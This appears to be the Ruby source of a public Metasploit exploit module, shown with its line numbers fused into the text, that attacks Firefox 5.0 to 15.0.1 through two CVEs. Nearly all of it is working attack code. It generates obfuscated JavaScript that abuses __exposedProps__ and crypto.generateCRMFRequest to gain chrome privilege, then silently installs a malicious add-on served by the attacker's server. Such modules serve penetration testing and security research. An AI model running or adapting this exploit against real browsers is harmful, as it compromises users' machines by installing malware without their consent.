Path: blob/master/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::BrowserExploitServer9include Msf::Exploit::Remote::BrowserAutopwn10include Msf::Exploit::Remote::FirefoxAddonGenerator1112autopwn_info({13:ua_name => HttpClients::FF,14:ua_minver => "5.0",15:ua_maxver => "15.0.1",16:javascript => true,17:rank => NormalRanking18})1920def initialize(info = {})21super(22update_info(23info,24'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',25'Description' => %q{26On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given27invalid input, would throw an exception that did not have an __exposedProps__28property set. By re-setting this property on the exception object's prototype,29the chrome-based defineProperty method is made available.3031With the defineProperty method, functions belonging to window and document can be32overridden with a function that gets called from chrome-privileged context. From here,33another vulnerability in the crypto.generateCRMFRequest function is used to "peek"34into the context's private scope. Since the window does not have a chrome:// URL,35the insecure parts of Components.classes are not available, so instead the AddonManager36API is invoked to silently install a malicious plugin.37},38'License' => MSF_LICENSE,39'Author' => [40'Mariusz Mlynski', # discovered CVE-2012-399341'moz_bug_r_a4', # discovered CVE-2013-171042'joev' # metasploit module43],44'DisclosureDate' => '2013-08-06',45'References' => [46['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)47['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],48['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)49],50'BrowserRequirements' => {51:source => 'script',52:ua_name => HttpClients::FF,53:ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }54},55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_options([64OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ])65])66end6768def on_request_exploit(cli, request, target_info)69if request.uri.match(/\.xpi$/i)70print_status("Sending the malicious addon")71send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })72else73print_status("Sending HTML")74res = generate_html(target_info, request.headers['Host'])75vprint_status res.to_s76send_response_html(cli, res)77end78end7980def generate_html(target_info, refer)81injection = if target_info[:ua_ver].to_i == 1582"Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"83else84"p2.constructor.defineProperty(obj,key,{get:runme});"85end8687if refer.nil? or refer.blank?88redirect = "#{get_module_uri}/addon.xpi"89else90proto = ((datastore['SSL']) ? 'https' : 'http')91redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi"92end9394script = js_obfuscate %Q|95try{InstallTrigger.install(0)}catch(e){p=e;};96var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));97p2.__exposedProps__={98constructor:'rw',99prototype:'rw',100defineProperty:'rw',101__exposedProps__:'rw'102};103var s = document.querySelector('#payload').innerHTML;104var q = false;105var register = function(obj,key) {106var runme = function(){107if (q) return;108q = true;109window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");110};111try {112#{injection}113} catch (e) {}114};115for (var i in window) register(window, i);116for (var i in document) register(document, i);117|118119js_payload = js_obfuscate %Q|120if (!window.done) {121window.AddonManager.getInstallForURL(122'#{redirect}',123function(install) { install.install() },124'application/x-xpinstall'125);126window.done = true;127}128|129130%Q|131<html>132<body>133#{datastore['CONTENT']}134<div id='payload' style='display:none'>135#{js_payload}136</div>137<script>138#{script}139</script>140</body>141</html>142|143end144end145146147